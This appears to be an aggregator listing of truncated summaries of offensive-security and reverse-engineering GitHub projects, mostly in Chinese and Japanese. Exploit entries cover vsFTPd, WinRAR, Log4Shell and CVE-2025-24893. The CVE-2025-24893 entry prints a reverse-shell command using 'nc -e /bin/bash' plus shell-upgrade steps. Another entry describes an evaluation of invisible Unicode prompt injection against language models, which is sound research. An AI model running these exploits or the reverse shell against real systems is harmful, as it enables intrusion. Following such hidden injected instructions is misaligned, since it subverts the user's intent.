SmileySploit

SmileySploit 一个利用 CVE-2011-2523 的基础脚本 概述 2011 年，在运行 2.3.4 版本的 vsFTPd 服务器上发现了一个集成后门，使用笑脸表情 ":" 会触发与攻击者的反向连接。因此，编写一个利用脚本并获取易受此漏洞影响的系统访问权限变得极其容易。通过在身份验证期间使用上述表情，后门即被触发，攻击者随后可以连接到 6200 端口上的 shell。 运行方法 直接用 Python 运行 exploit.py 文件即可。请确保先通过 Pip 安装 Pwntools。...

CVE-2023-38831_Exploit

CVE-2023-38831 漏洞利用概念验证 概述 此仓库包含一个 Python 脚本，展示了针对 CVE-2023-38831 的概念验证（PoC）利用。该漏洞利用特定文件处理机制中的缺陷，通过恶意 RAR 文件执行反向 Shell 载荷。 免责声明： 本项目仅用于教育目的和合乎道德的安全研究。未经事先同意，未经授权使用此代码入侵系统或网络是非法且不道德的。作者不承担任何因滥用造成的责任。 工作原理 该脚本自动化创建恶意 RAR 文件的过程，利用 CVE-2023-38831 漏洞。它将 Python 反向 Shell 脚本嵌入到精心构造的文件结构中，从而隐蔽地执行。 执行步骤： 1...

CVE-2021-44228

CVE-2021-44228 Log4Shell 概念验证（CVE-2021-44228） 请确保使用 Java 8 JDK。 Java 8 下载 图片 致谢 Casey Dunham - Java 反向 Shell kozmer - 初始 PoC 法律声明 该脚本的作者对这段代码的使用方式不 承担任何责任！此代码仅用于研究、开发和教学目的。...

CVE-2025-24893

CVE-2025-24893 的反向 Shell root@kitploit: python3 CVE-2025-24893.py -u http://wiki.editor.htb/ -c "busybox nc -e /bin/bash" 升级 Shell 1. python3 -c 'import pty; pty.spawn"/bin/bash"' 2. ctrl + z 3. stty size 4. stty raw -echo; fg 5. stty rows x columns y 6. export TERM=xterm...

Codeine

Codeine root@kitploit: .o88b. .d88b. d8888b. d88888b d888888b d8b db d88888b d8P Y8 .8P Y8. 88 8D 88' 88' 888o 88 88' 8P 88 88 88 88 88ooooo 88 88V8o 88 88ooooo 8b 88 88 88 88 88 88 88 V8o88 88 Y8b d8 8b d8' 88 .8D 88. .88. 88 V888 88. Y88P' Y88P' Y8888D' Y88888P Y888888P VP V8P Y88888P Codeine 是...

Vision-MSI-Thermal-Control

Vision MSI 热控制 MSI Modern 15H AI C1MG-096IT Linux 热管理 - 逆向工程 EC 控制，带风扇配置文件和电池阈值 🎯 此项目的目的 这个应用程序源于为 Linux 上的 MSI 笔记本电脑用户的必要性。旅程始于我发现 Intel 和 MSI 都没有为我的 Linux Mint Xia 发行版提供合适的驱动程序或控制应用程序。 📖 背景故事 经过广泛搜索，只有一个仓库对我的 Intel Core Ultra 5 125H CPU 看起来有希望： OpenFreezeCenter 然而，该项目最初是为 Intel 第10/12代 CPU 设计的。...

POC_CVE-2025-32433

⚠️ 道德免责声明 这个仓库包含演示真实 CVE（CVE-2025-32433）的代码。 只在你有明确授权的环境中使用它 。 绝不要针对你不拥有或管理的系统测试此漏洞利用程序。 未经授权的使用是非法的、不道德的，并且对网络安全社区有害。 CVE-2025-32433 的模拟与真实 PoC 我的兄弟 Chocapikk 给我看了这个发现的 PoC erlingcve.py，我很感兴趣，想在一个安全的环境中测试它。 对于这个仓库，你有两个选择：下面我列出的安全模拟脚本和系统。 或者你可以使用真正的 erlingcve.py（以合乎道德的方式、谨慎行事，并且只在你有权测试的网络上使用）。...

NotaMy

🇬🇧 英語| 🇮🇹 イタリア語 ---|--- 🧠 NotaMy NotaMyは、長期分析タスク（ペンテスト、リバースエンジニアリング、ウォーゲーム）に取り組む人々のために設計された、階層型ターミナルベースの技術ノート管理ツールです。コンテキストスイッチの精神的コストを削減することを目的としています。 🎯 NotaMyが作られた理由 ペンテスト活動やバイナリ分析に取り組み始めたとき、すぐに気づきました。 問題はメモを取ることではなく、それを長期にわたって管理することです。...

ctf-skills

ctf-skills Agent Skills for solving CTF challenges — web exploitation, binary pwn, crypto, reverse engineering, forensics, OSINT, and more. Works with any tool that supports the Agent Skills spec, including Claude Code. インストールbash npx skills add ljagiello/ctf-skills root@kitploit: Friday Studio...

exploitation-course

オフェンシブセキュリティ＆リバースエンジニアリング（OSRE）コース このリポジトリは、私がChamplain Collegeで教えていたオフェンシブセキュリティ＆リバースエンジニアリング（攻撃的ソフトウェアエクスプロイテーション ）コースのためのものであり、現在はオンラインで無料で共有しています（録画はYouTubeチャンネルをご覧ください）。使用していたスライドノートのほとんどは既にHTID...

efiXplorer

efiXplorer - IDA プラグイン および UEFI ファームウェア解析とリバースエンジニアリング自動化のためのローダー ドキュメント プラグイン Wiki ローダー Wiki ビルド手順とインストール 出版物 efiXplorer: 自動静的解析を用いたUEFIファームウェア脆弱性の大規模ハンティング 静的解析に基づくUEFIファームウェアのサービス関数コールの復元 efiXplorerがUEFIファームウェアのリバースエンジニアリングの課題解決にどのように役立つか 謝辞 特に感謝: Hex-Rays様、Hex-Rays Contributor...

Elfina

Elfina: マルチアーキテクチャ ELF ローダー Elfina は、x86 および x86-64 バイナリをサポートするマルチアーキテクチャ ELF ローダーです。 このプロジェクトは v2.0.0 以降 Rust で実装されています。 背景 最近、私は Windows 上でのリバースエンジニアリングと PE ファイル形式について学習しています。 その後、Linux のリバースエンジニアリングとルートキット開発についてさらに学ぶために、ELF バイナリの調査を始めました。 ELF 実行ファイルがどのようにロードされ実行されるかをより深く理解するために、Linux カーネルと ELF...

Flutter-Reverse-Engineering-Labs

Flutter リバースエンジニアリングラボ このリポジトリには、Flutterアプリケーションのリバースエンジニアリングを紹介するために設計された、段階的なチャレンジのシリーズが含まれています。Flutterのリバースエンジニアリングを詳細に説明するブログ記事やチュートリアルは多くないため、このギャップを埋めるための実践的な方法としてこのリポジトリを作成しました。 目標は、Flutterフレームワークのユニークな特性と、それに一般的に使用される分析技術を理解するための強固な基盤を構築することです。...

filtron

Filtron リクエストを異なるルールでフィルタリングするリバースHTTPプロキシ。 プロダクションWebサーバとアプリケーションサーバの間で使用し、アプリケーションバックエンドの悪用を防ぐことができます。 このプログラムの本来の目的はsearxを防御することでしたが、あらゆるWebアプリケーションを保護するために使用できます。 インストールとセットアップ root@kitploit: $ go install github.com/asciimoo/filtron $ "$GOPATH/bin/filtron" --help ルール ルールには必須属性が2つあります: name と...

filtron

Filtron Reverse HTTP proxy to filter requests by different rules. Can be used between production webserver and the application server to prevent abuse of the application backend. The original purpose of this program was to defend searx, but it can be used to guard any web application. Installatio...

rathole

rathole English | 简体中文 安全で安定した、高性能なNAT越えリバースプロキシ。Rustで記述。 ratholeは、frpやngrokと同様に、公開IPを持つサーバーを介して、NAT配下のデバイス上のサービスをインターネットに公開するのに役立ちます。 rathole 機能 クイックスタート 設定 ログ チューニング ベンチマーク 計画 機能 高性能 frpよりもはるかに高いスループットを実現し、大量の接続を処理する際により安定します。ベンチマークを参照。 低リソース消費...

reverse-captcha-eval

リバースCAPTCHA: 大規模言語モデルの不可視ユニコード命令インジェクションに対する脆弱性評価 通常のテキストに埋め込まれた不可視のUnicodeエンコード命令を大規模言語モデルが実行するかどうかをテストする評価フレームワーク。従来のCAPTCHAが人間には解けるが機械には解けないタスクを利用するのに対し、リバースCAPTCHAは機械がアクセスできるが人間にはできない知覚チャネルを利用します。 論文: paper/reversecaptcha.pdf 主な発見 5つのモデル（GPT-5.2、GPT-4o-mini、Claude Opus 4、Claude Sonnet 4、Claud...

serval

ペネトレーションテストおよびペンテストチャレンジのためのNetcat風バックドア Servalは、ペンテストやペネトレーションテスト演習のためにリバースシェルやバインドシェルを起動する、軽量で使いやすいバイナリです。Servalはクロスプラットフォームであり、Windows 32ビット/64ビットおよびLinux 32ビット/64ビットの両方に対応しています。注意：Rustの柔軟性により、他のプラットフォーム（ARMなど）向けにコンパイルすることも可能かもしれませんが、他のプラットフォームではテストしていません。 なぜ？...

B2R2

B2R2 B2R2 は、F で書かれた完全マネージドのバイナリ解析フレームワークです。リバースエンジニアリング、プログラム解析、バイナリレベルの検査のための豊富なアルゴリズム、関数、ツールを提供します。 B2R2 という名前は、スター・ウォーズの象徴的なロボット R2-D2 から着想を得ています。元々は B2-R2 と名付けられましたが、.NET の識別子や名前空間ではハイフンが許可されないため、後にハイフンなしの B2R2...

secbutler

ペンテスター、バグバウンティハンター、セキュリティ研究者のための必須ユーティリティ 特徴 • 使い方 • インストール • ライセンス • secbutler は、ペンテスター 、バグバウンティハンター 、セキュリティ研究者 のために作られたユーティリティツールで、サイバーセキュリティ活動を行う際に一般的に使用される最も頻繁で面倒な作業（セキュリティ関連ツールのインストール、リバースシェルのコマンド取得、一般的なペイロードの配信、動作するプロキシの取得、ワードリストの管理など）をまとめたものです。 コミュニティの要件を満たすツールを目指しています。そのため、提案やPRは大歓迎です！ ⚡ ...